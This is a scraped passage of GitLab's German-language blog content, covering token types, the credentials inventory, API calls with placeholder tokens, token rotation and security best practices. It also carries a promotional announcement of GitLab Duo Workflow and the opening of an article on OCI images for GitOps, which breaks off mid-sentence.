Runner-Authentifizierungs-Token | glrt | Für die Authentifizierung von GitLab-Runners |\n| CI/CD-Job-Token  | glcbt | Für die Automatisierung von CI/CD-Prozessen |\n| Trigger-Token | glptt | Löst Pipelines manuell oder programmatisch aus |\n| Feed-Token | glft | Für die Authentifizierung des Zugriffs auf Paket-/RSS-Feeds |\n| Token für eingehende Mails  | glimt | Für die Verarbeitung eingehender E-Mails |\n| Token für GitLab Agent for Kubernetes | glagent | Für die Verwaltung von Kubernetes-Clustern über den GitLab Agent |\n| SCIM-Token | glsoat | Ermöglicht SCIM-Integrationen für die Benutzerbereitstellung |\n| Client-Token für Feature-Flags | glffct | Für programmatische Feature-Flags |\n| Webhook-Token | n.v. | Vom bzw. von der Benutzer(in) festgelegter geheimer Token, um Webhook-Payloads zu sichern und zu gewährleisten, dass Anfragen von GitLab stammen |\n\n## Entdecke deine Token\n\n### Credentials Inventory\n\nIn GitLab Ultimate können Administrator(inn)en (GitLab Self-Managed) und Eigentümer(innen) von Hauptgruppen eines Unternehmens (GitLab.com ab Version 17.5) die Zugangsdaten in ihrem Namensraum überwachen.\n\nDieses Inventar verfolgt Token-Details wie:\n\n* Token-Typ  \n  * Verfügbare Token auf [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html)  \n  * Verfügbare Token auf [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html)  \n* Zugehörige Benutzerkonten  \n* Token-Geltungsbereiche sowie Erstellungs- und Ablaufdaten  \n* Zuletzt verwendete IP-Adressen des Tokens (ab GitLab 17.10)  \n* Token-Filterung basierend auf den oben genannten benutzerdefinierten Parametern  \n* Möglichkeit zum Widerrufen und Rotieren dieser Token\n\nEin gut gepflegtes Credentials Inventory hilft dabei, Token mit zu vielen Berechtigungen zu identifizieren, und gibt Aufschluss über Zugangsdaten, die möglicherweise rotiert werden müssen, um einen sicheren und effizienten Workflow zu gewährleisten.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&start=105\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n#### Credentials Inventory API\n\nAls Ergänzung zur UI [entwickeln wir derzeit](https://gitlab.com/groups/gitlab-org/-/epics/16343) eine Credentials Inventory API über den neuen [Endpunkt /group/:id/manage](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project). Die unter diesem Endpunkt zugänglichen Zugangsdaten sind auf [Enterprise-Benutzer(innen)](https://docs.gitlab.com/ee/user/enterprise_user/) beschränkt und können vom bzw. von der Eigentümer(in) der Hauptgruppe eines Unternehmens abgerufen werden. Ein Beispiel für den zukünftigen API-Aufruf wäre:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\"           \n```\n### GitLab-API\n\nMit der GitLab-API kannst du Token in deinem Unternehmen programmgesteuert auflisten und verwalten. Wichtige authentifizierungsbezogene Endpunkte unterstützen [verschiedene Token-Typen](https://docs.gitlab.com/ee/api/rest/authentication.html)), darunter persönliche Token, Gruppen-Token, CI/CD-Token und mehr. Ein Beispiel für die Verwendung eines persönlichen Zugriffs-Tokens zum Auflisten aller sichtbaren Projekte in GitLab für authentifizierte Benutzer(innen) ist:\n\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \\\n     \"https://gitlab.example.com/api/v4/projects\"\n\n```\n\nIn diesem Video erfährst du, wie du API-Aufrufe an die GitLab-API sendest.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n### Finde heraus, wo Token verwendet werden\n\nKund(inn)en können auf verschiedene Arten herausfinden, wo Token verwendet werden:\n* Unter **Benutzerprofil > [Zugriffstoken](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* Im Credentials Inventory\n* In Audit-Ereignissen\n* Über die API \n\nInformationen zur Token-Nutzung werden alle 10 Minuten für **last_used** und einmal pro Minute für **last_used_ip** aktualisiert. \n\nDie Möglichkeit, IP-Adressen anzuzeigen, wurde in GitLab 17.9 eingeführt und wird durch das Feature-Flag **:pat_ip** gesteuert. Befolge diese [Schritte, um herauszufinden, wann ein Token zuletzt verwendet wurde](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used). Außerdem werden dir seine letzten fünf eindeutigen IP-Adressen angezeigt.\n\n![Leitfaden für Token-Verwaltung – Einstellungen für persönliche Zugriffs-Token](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Token im GitLab-UI und in der API verwalten\nIn der folgenden Tabelle findest du Videos, in denen gezeigt wird, wie Token im UI erstellt werden und wie sie über die API genutzt werden können.\n\n| Token     | GitLab-UI    | GitLab-API    |\n| ---------- | ---------- | ---------- |\n| Persönlicher Zugriffs-Token \u000b | [Dokumentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=3)  | [Dokumentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=43)  |\n| Gruppenzugriffs-Token | [Dokumentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=120)  | [Dokumentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=157)  |\n| Projektzugriffs-Token | [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=254)  | [Dokumentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=285)  |\n\n## Rotation der Tokens und Verwaltung von Ablaufdaten\n\nIndem du Token rotierst und strikte Richtlinien für Ablaufdaten einführst, reduzierst du das Komprimittierungsrisiko und stellst die Einhaltung von Sicherheitsstandards sicher. Regelmäßige Rotation und erzwungene Abläufe verhindern, dass veraltete Zugangsdaten zu Sicherheitslücken werden.\n\nBisher wurden abgelaufene Gruppen- und Projektzugriffs-Token nach Ablauf automatisch gelöscht, was die Überwachung und Sicherheitsüberprüfung schwieriger machte, da keine Aufzeichnungen zu inaktiven Token vorlagen. Um dieses Problem zu beheben, wurde eine [neue Funktion](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) eingeführt, um Aufzeichnungen zu inaktiven Gruppen- und Projektzugriffs-Token 30 Tage, nachdem sie inaktiv wurden, im UI aufzubewahren. Diese Verbesserung soll es den Teams ermöglichen, die Verwendung, den Ablauf und den Widerruf von Token zu verfolgen, um die Compliance und Überwachung zu verbessern.\n\nUm die Rotation von Token und die Verwaltung von Ablaufdaten proaktiv zu gestalten, kannst du Folgendes tun:\n\n* Rotiere deine Token aktiv über die UI oder die API. Wenn du die API verwendest, achte auf den Sicherheitsmechanismus, mit dem [wiederverwendete Token automatisch erkannt werden](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection).\n* Lege eine instanzweite [maximale Geltungsdauer](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) für Zugriffs-Token fest.\n\n### API für die Rotation von Token\n\nBis GitLab 17.7 mussten Kund(inn)en Zugriffs-Token programmgesteuert mit der API rotieren. Die entsprechende Funktion ist jetzt im UI verfügbar. Sieh dir das Video in der folgenden Tabelle an oder lies dir die [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui) durch.\n\n### Codeausschnitte für die Rotation von Token\n\nIn der folgenden Tabelle findest du Videos, in denen die Rotation von GitLab-Token erläutert wird. \n\n| Token | Voraussetzungen | GitLab-UI | GitLab-API |\n| :---: | :---: | ----- | ----- |\n| Persönliches Zugriffs-Token | Geltungsbereich: API  | [Dokumentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=76)  | [Dokumentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=92)  |\n| Gruppenzugriffs-Token | Geltungsbereich: API und Rolle(n): Eigentümer(in) | [Dokumentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=203)  | [Dokumentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=214)  |\n| Projektzugriffs-Token | Geltungsbereich: API und Rolle(n): Eigentümer(in), Betreuer(in) | [Dokumentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=335)  | [Dokumentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) und [Video](https://youtu.be/v5Nj3Jy4vaI?t=349)  |\n\n## Best Practices für die Token-Verwaltung\n\n### Prinzip des geringsten Privilegs\n\nMindere Risiken, indem du Berechtigungen für Token wirklich nur für die jeweiligen unbedingt nötigen Aufgaben zuweist. Auf diese Weise kannst du Fehlerquellen in deinen Systemen proaktiv vorhersagen und beheben. Beachte dazu Folgendes:\n\n* Wähle den richtigen Token für den richtigen Job aus. Infos dazu findest du im Flussdiagramm.  \n* Weise beim Erstellen eines Tokens nur die erforderlichen Geltungsbereiche zu. Verwende beispielsweise schreibgeschützte Geltungsbereiche für Token mit Aufgaben für Auditor(innen). Siehe [Rollen](https://docs.gitlab.com/ee/user/permissions.html#roles).  \n* Vermeide es, Administratorrechte zu gewähren, wenn sie nicht unbedingt nötig sind.\n* Erzwinge eine instanzweite Standard-Token-[Lebensdauer](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1).\n* Überprüfe und auditiere Token-Berechtigungen regelmäßig, um sicherzustellen, dass sie den aktuellen Anforderungen deines Unternehmens entsprechen.  \n* Widerrufe Token, sobald die Aufgabe abgeschlossen ist.\n\n### Service-Konten\n\n[Dienstkonten](https://docs.gitlab.com/ee/user/profile/service_accounts.html) stellen sicher, dass Token an nicht-menschliche Entitäten gebunden sind. Dadurch werden sie von einzelnen Benutzerkonten getrennt und die Abhängigkeit von bestimmten Benutzer(inne)n wird verringert. Anstatt persönliche Konten zu verwenden, um Token für die Automatisierung zu generieren, solltest du Dienstkonten mit eingeschränktem Geltungsbereich erstellen. Zu den Vorteilen gehören:\n\n* Verwendung von Dienstkonto-Token in CI/CD-Pipelines, um Störungen durch Änderungen des Benutzerkontos zu vermeiden  \n* Programmgesteuerte Automatisierung von Rotationsprozessen, da persönliche Konten nicht betroffen sind\n* Klarere Überwachung und Prüfung der von Dienstkonten durchgeführten Aktionen  \n* Dienstkonten [ohne Ablaufdatum](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date)\n* Verbraucht keinen [Lizenzplatz](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account)\n\nGitLab plant die Veröffentlichung einer neuen [Benutzeroberfläche für Dienstkonten](https://gitlab.com/groups/gitlab-org/-/epics/9965) als Gegenstück zur [API-basierten Erstellung](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), wodurch die Verwaltung von Dienstkonten und der damit verbundenen Token vereinfacht werden soll. In der folgenden Demo wird die programmgesteuerte Verwendung von Dienstkonten erläutert.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n### Sicherheitslücken-Tools\n\nNutze die integrierten Sicherheitstools von GitLab, um Sicherheitslücken, die durch die Nutzung von Token entstehen, zu identifizieren und zu beheben. Für eine maximale Abdeckung wird empfohlen, alle Tools gemeinsam zu verwenden.\n\n* [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Scannt dein Repository nach fest codierten Geheimnissen wie API-Token, Passwörtern und anderen vertraulichen Informationen. Sieh dir die [Liste der erkannten Geheimnisse](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html) an.\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analysiert deinen Quellcode auf Sicherheitslücken und [stellt unter anderem Berichte mit UI-Ergebnissen in Merge Requests bereit](https://docs.gitlab.com/ee/user/application_security/sast/#features).\n* [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Stellt sicher, dass in deinem Projekt verwendete Bibliotheken von Drittanbietern keine Sicherheitslücken hinsichtlich ihrer Token aufweisen.\n\n### Audit-Protokolle und Überwachung\n\nPflege den Zustand von Token, indem du regelmäßig Audit-Protokolle und die Token-Nutzung auf Instanz- und/oder Gruppenebene überprüfst.\n\n* [Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Protokolliere Audit Events in GitLab, um Aktivitäten im Zusammenhang mit Token zu verfolgen, z. B. Erstellung, Verwendung, Löschung und ungewöhnliche API-Aufrufe (nicht zulässige Parameter in Protokollen und konsistente Auslöser des Rate Limiters). \n* [IP-Allowlisting](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions): Verhindert, dass böswillige Benutzer(innen) ihre Aktivitäten hinter mehreren IP-Adressen verbergen.\n* [Alarme](https://docs.gitlab.com/ee/operations/incident_management/alerts.html): Richte Alarme für ungewöhnliche Aktivitäten ein (lösen z. B. Paging für Bereitschaftsrotationen aus oder verwende es, um Vorfälle zu erstellen).\n* [Credentials Inventory](https://docs.gitlab.com/ee/administration/credentials_inventory.html): Erhalte vollständige Kontrolle über alle verfügbaren Zugriffs-Token sowie die Möglichkeit, diese bei Bedarf zu widerrufen.\n* [Benachrichtigungen](https://docs.gitlab.com/ee/user/profile/notifications.html): Bearbeite proaktiv alle Ablaufbenachrichtigungen für Token (Gruppen-, Projekt- und persönliche Token), die du per E-Mail erhältst. Aufgrund der Nachfrage unserer Kund(inn)en wurde diese Funktion kürzlich um 30-Tage- und 60-Tage-Benachrichtigungen erweitert (die Standardeinstellung ist 7 Tage).   \n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook): Zugriffs-Token-Webhooks können für Gruppen und Projekte konfiguriert werden, um Ereignisse sieben Tage vor Ablauf von Token auszulösen. Diese Funktion wurde kürzlich auch um 30-Tage- und 60-Tage-Benachrichtigungen hinter dem Feature-Flag **:extended_expiry_webhook_execution_setting** erweitert (standardmäßig deaktiviert).\n\n## Was kommt als Nächstes?\n\nAngesichts des großen Token-Katalogs von GitLab gibt es laufende [Pläne](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) für eine Konsolidierung mit Schwerpunkt auf der Lebensdauer, detaillierten Geltungsbereichen, konsistenter Verwaltung und Nutzung. Derzeit priorisieren wir hinsichtlich der Token-Funktionen ein umfassendes UI für Dienstkonten, zusätzliche Arten von Zugangsdaten im Credentials Inventory sowie ein verbessertes Auditing für Token und Dienstkonten.\n\n> Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/free-trial/) an, um die Token-Verwaltung zu nutzen.",[767,765,746,745,680],{"slug":2055,"featured":92,"template":682},"the-ultimate-guide-to-token-management-at-gitlab","content:de-de:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","de-de/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","de-de/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":2061,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2062,"content":2068,"config":2074,"_id":2076,"_type":16,"title":2077,"_source":17,"_file":2078,"_stem":2079,"_extension":20},"/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"ogTitle":2063,"schema":2064,"ogImage":2065,"ogDescription":2066,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2067,"title":2063,"canonicalUrls":2067,"description":2066},"GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pini Wietchner\"}],\n        \"datePublished\": \"2025-02-24\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660174/Blog/Hero%20Images/Workflow_1800x945.png","Sichere, autonome, kontextbewusste KI-Tools übernehmen komplexe Aufgaben und geben Entwickler(inne)n die Möglichkeit, innovative Software schneller zu entwickeln. Die private Beta-Warteliste ist jetzt geöffnet.","https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"heroImage":2065,"body":2069,"authors":2070,"updatedDate":1714,"date":2072,"title":2063,"tags":2073,"description":2066,"category":677},"Setze dich ab heute auf die Warteliste für die [private Beta-Version von GitLab Duo Workflow](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/): **eine agentische KI, die auf der umfassendsten DevSecOps-Plattform basiert.** GitLab Duo Workflow ist der nächste Schritt unserer KI-Roadmap und wird Entwicklungsteams innerhalb der IDE bei allen Aufgaben unterstützen – von Bootstrapping von Projekten bis hin zu Bereitstellungsprozessen, von der Fehlersuche bis hin zur teamübergreifenden Koordination.\n\nDabei nutzt GitLab Duo Workflow die Struktur der GitLab-Plattform für Zusammenarbeit, kontinuierliche Integration, kontinuierliche Bereitstellung, Sicherheit und Compliance, um Unternehmen dabei zu helfen, ihren Entwicklungsprozess mit KI-Tools zu beschleunigen.\n\nVerwende GitLab Duo Workflow, um:   \n* [ein neues Entwicklungsprojekt zu starten](#from-slow-project-setup-to-a-running-start)  \n* [Code zu modernisieren](#from-legacy-code-to-modern-applications)  \n* [kontextbezogene Aufgaben durchzuführen](#from-context-switching-toflow-state) \n* [eine Dokumentation zu erstellen](#from-stale-docs-to-dynamic-knowledge)\n* [die Testabdeckung zu verbessern](#from-patchy-to-comprehensive-testing) \n* und mehr.\n\nDas ist aber erst der Anfang. Mit dem einheitlichen Datenspeicher von GitLab gilt: Je mehr du GitLab verwendest, desto mehr Kontext hat GitLab Duo Workflow zu deinem Code, deinen Konfigurationen, deinen erkannten Sicherheitsrisiken und deinen Bereitstellungspraktiken. Das Ergebnis ist eine immer leistungsfähigere Entwicklungserfahrung, die auf dein Unternehmen zugeschnitten ist.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Das Versprechen und die Herausforderung von KI-Tools\n\nSoftware hat die Welt grundlegend verändert, aber nur ein winziger Bruchteil der Weltbevölkerung verfügt heute über die Fähigkeiten, Software zu entwickeln. Dennoch erreichen diese Entwickler(innen) Milliarden von Menschen mit Smartphones und Internetanschlüssen. Stellen Sie sich eine Welt vor, in der *mehr* Menschen produktionsreife Software entwickeln, sichern und bereitstellen können – es gäbe eine Explosion von Innovationen, da mehr Menschen Software entwickeln könnten, die Milliarden von Menschen beeinflusst. **[Agentische KI](https://about.gitlab.com/de-de/topics/agentic-ai/) wird dies ermöglichen.**\n\nKI-Tools verstehen den Kontext, kennen ganze Codebases und arbeiten aktiv an komplexen Softwareprojekten in den Bereichen Entwicklung, Sicherheit und Betrieb mit. Mit KI-Tools können Entwickler(innen) Software in einem Umfang entwickeln, der für Einzelpersonen oder sogar Teams bisher unvorstellbar war.\n\nDieser Trend wirft jedoch wichtige Fragen zu Transparenz, Kontrolle und den Auswirkungen von KI auf die Arbeit der Entwickler(innen) auf. Unternehmen müssen sicherstellen, dass KI die Fähigkeiten ihrer Entwickler(innen) verbessert und sie gleichzeitig den Überblick über ihren Entwicklungsprozess behalten. Der Schlüssel zum Erfolg liegt nicht nur in der Einführung von KI, sondern auch darin, sie so einzusetzen, dass sie die Entwickler(innen) unterstützt und gleichzeitig Sicherheit, Compliance und Governance gewährleistet.\n\n## Der Erfolg von KI hängt von deiner Plattform ab, nicht von dem Hinzufügen zusätzlicher Tools\n\nWenn du mit mehr Entwickler(inne)n, Code und potenziellen Sicherheitsrisiken arbeitest, bringen zusätzliche Tools für jede neue Herausforderung nur noch mehr Komplexität mit sich. Unsere jüngste [DevSecOps-Umfrage (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/) zeigt, wie ernst dieses Problem ist: DevSecOps-Teams jonglieren mit bis zu 14 verschiedenen Tools und verbringen bis zu 80 % ihrer Zeit mit Aufgaben, die nichts mit Programmierung zu tun haben. Damit KI wirklich effektiv sein kann, braucht sie außerdem hochwertige, einheitliche Daten. Das ist mit uneinheitlichen Tools schwer zu erreichen.\n\n**Die GitLab DevSecOps-Plattform in Kombination mit GitLab-KI-Tools** führt alles in einem einzigen Datenmodell zusammen, das Quellcode, Merge Requests, Epics, Benutzerkonten, Zugriffsrechte und vieles mehr umfasst. Die Tools, die wir entwickeln, nutzen den Kontext von Benutzer(inne)n und Projekten, um die Arbeitsweise von Teams zu standardisieren und die Aufgaben zu automatisieren, die nichts mit Programmierung zu tun haben und die Entwickler(innen) Zeit kosten, wie z. B. die Suche nach Sicherheitsproblemen und die Durchsetzung von Compliance-Regeln. Wenn KI direkt in die Plattform integriert wird, werden diese Funktionen noch leistungsfähiger. Dann werden KI-Tools zu Entwicklungspartnern, während du die Kontrolle darüber behältst, wie KI den Prozess verbessert.\n\n**Das ist keine ferne Zukunft, sondern das, was wir mit GitLab Duo Workflow schon jetzt entwickeln.**\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1059060959?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Workflow, the future of secure agentic AI software development\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>`\n\n## GitLab Duo Workflow: KI-Tools auf der umfassendsten DevSecOps-Plattform\n\nGitLab Duo Workflow nutzt die durchgängige DevSecOps-Plattform von GitLab, um Entwickler(inne)n dabei zu helfen, ihr volles Potenzial auszuschöpfen. Während KI-Programmierassistenten bei der Programmierung einzelner Teile des Codes helfen, versteht GitLab Duo Workflow deinen gesamten Entwicklungslebenszyklus und automatisiert Routineaufgaben, damit sich die Entwickler(innen) auf strategische Innovationen und kreative Problemlösungen konzentrieren können. Wir entwickeln GitLab Duo Workflow, um Teams zu unterstützen: \n\n### Von der langsamen Projekteinrichtung zum schnellen Start\n\nEntwickler(innen) verbringen wertvolle Zeit damit, neue Projekte zu konfigurieren, Abhängigkeiten zu verwalten und die grundlegende Infrastruktur einzurichten, anstatt neue Funktionen zu entwickeln. Mit GitLab Duo Workflow kannst du **das Bootstrapping von Projekten direkt in der IDE automatisieren** und von Anfang an die richtigen Konfigurationen bereitstellen. So kannst du dich schneller darauf konzentrieren, Innovationen zu entwickeln.\n\n### Vom Legacy-Code zu modernen Anwendungen\n\nBei der Modernisierung von Legacy-Code geht es nicht nur um die Aktualisierung der Syntax, sondern auch um das Verständnis von Abhängigkeiten, Tests, CI/CD-Pipelines und Dokumentation. GitLab Duo Workflow hilft dir bei der **Modernisierung deiner Codebase, indem es das Code-Refactoring übernimmt** – vom Code bis hin zu Tests.\n\n### Vom Kontextwechsel zum Flow State\n\nEntwickler(innen) wechseln ständig zwischen Tools, Dokumenten und Codebases, um Probleme zu lösen. GitLab Duo Workflow hilft bei der **Lösung von Aufgaben mit dem vollständigen Kontext deiner Codebase-bezogenen Probleme und Merge Requests**, damit die Entwickler(innen) in ihrem Flow bleiben können.\n\n### Von einer veralteten Dokumentation zu dynamischem Wissen\n\nDokumentation verliert schnell an Aktualität, was das Verständnis und die Wartung von Codebases erschwert. GitLab Duo Workflow **unterstützt Entwickler(innen) bei der Erstellung und Aktualisierung der Dokumentation**, einschließlich README-Dateien, Ablaufdiagrammen und Architekturdokumentation.\n\n### Von lückenhaften zu umfassenden Tests\n\nMit dem Wachstum von Codebases wird es immer schwieriger, eine umfassende Testabdeckung zu gewährleisten. GitLab Duo Workflow **kann Tests für ganze Abschnitte deiner Codebase erstellen** und dabei deine bestehende Testinfrastruktur einbinden, sodass du mit weniger Aufwand eine zuverlässigere Software erhältst.\n\n## Melde dich für die private Beta-Warteliste an\n\n[Melde dich für die Warteliste für die private Beta-Version von GitLab Duo Workflow an](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/), um beim nächsten Schritt in unserer Vision für sichere agentische KI dabei zu sein – von der Projekteinrichtung bis hin zur Bereitstellung. Diese Tools basieren auf der DevSecOps-Plattform von GitLab und verstehen deinen gesamten Software-Lebenszyklus, während sie gleichzeitig die Sicherheit und Kontrolle aufrechterhalten, die Unternehmen benötigen.\n\n*Haftungsausschluss: Diese Seite enthält Informationen über zukünftige Produkte, Funktionen und Funktionalitäten. Diese Informationen dienen nur zu Informationszwecken. Bitte verlasse dich daher nicht auf die Informationen, wenn du etwas kaufen oder planen möchtest. Alle Inhalte können sich ändern oder verzögern, und die Entwicklung, die Veröffentlichung und der Zeitplan liegen im alleinigen Ermessen von GitLab Inc.*",[2071],"Pini Wietchner","2025-02-24",[746,679,745,680,723,974],{"slug":2075,"featured":92,"template":682},"gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai","content:de-de:blog:gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","Gitlab Duo Workflow Enterprise Visibility And Control For Agentic Ai","de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"_path":2081,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2082,"content":2088,"config":2095,"_id":2097,"_type":16,"title":2098,"_source":17,"_file":2099,"_stem":2100,"_extension":20},"/de-de/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"title":2083,"description":2084,"ogTitle":2083,"ogDescription":2084,"noIndex":6,"ogImage":2085,"ogUrl":2086,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2086,"schema":2087},"OCI-Images als Quelle der Wahrheit für die kontinuierliche Lieferung","Die Vorteile der Verwendung von OCI-Images als Teil von GitOps-Workflows und die vielen Funktionen, die GitLab bietet, um die Bereitstellung in Kubernetes zu vereinfachen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097601/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20Use%20this%20page%20as%20a%20reference%20for%20thumbnail%20sizes_76Tn5jFmEHY5LFj8RdDjNY_1750097600692.png","https://about.gitlab.com/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"OCI-Images als Quelle der Wahrheit für die kontinuierliche Lieferung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":2083,"description":2084,"authors":2089,"heroImage":2085,"date":2091,"body":2092,"category":1033,"tags":2093,"updatedDate":1816},[2090],"Daniel Helfand","2025-02-19","Ist [GitOps](https://about.gitlab.com/de-de/topics/gitops/) immer noch GitOps, wenn du kein Git-Repository als Artefakt für die Bereitstellung verwendest? Git bleibt zwar weiterhin von zentraler Bedeutung für GitOps-Workflows, doch die Speicherung von Infrastrukturdefinitionen als OCI-Artefakte (Open Container Initiative) in Container-Registries hat als Quelle für GitOps-Bereitstellungen an Beliebtheit gewonnen. In diesem Artikel werden wir uns eingehender mit den Ideen hinter diesem Trend befassen und erläutern, wie GitLab-Funktionen diese Verbesserung der GitOps-Workflows unterstützen.\n\n## Was ist GitOps?\n\nDas [OpenGitOps](https://opengitops.dev/)-Projekt hat [vier Prinzipien](https://opengitops.dev/#principles) für den Einsatz von GitOps definiert (Informationen zu OpenGitOps sind nur in englischer Sprache verfügbar):\n- Der gewünschte Zustand eines [Systems, das mit GitOps verwaltet wird](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#software-system), muss [deklarativ ausgedrückt](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#declarative-description) werden.\n- Der gewünschte Zustand wird so gespeichert, dass Unveränderlichkeit und Versionsverwaltung erzwungen werden und ein vollständiger Versionsverlauf erhalten bleibt.\n- Software-Agents rufen automatisch den gewünschten Zustand aus 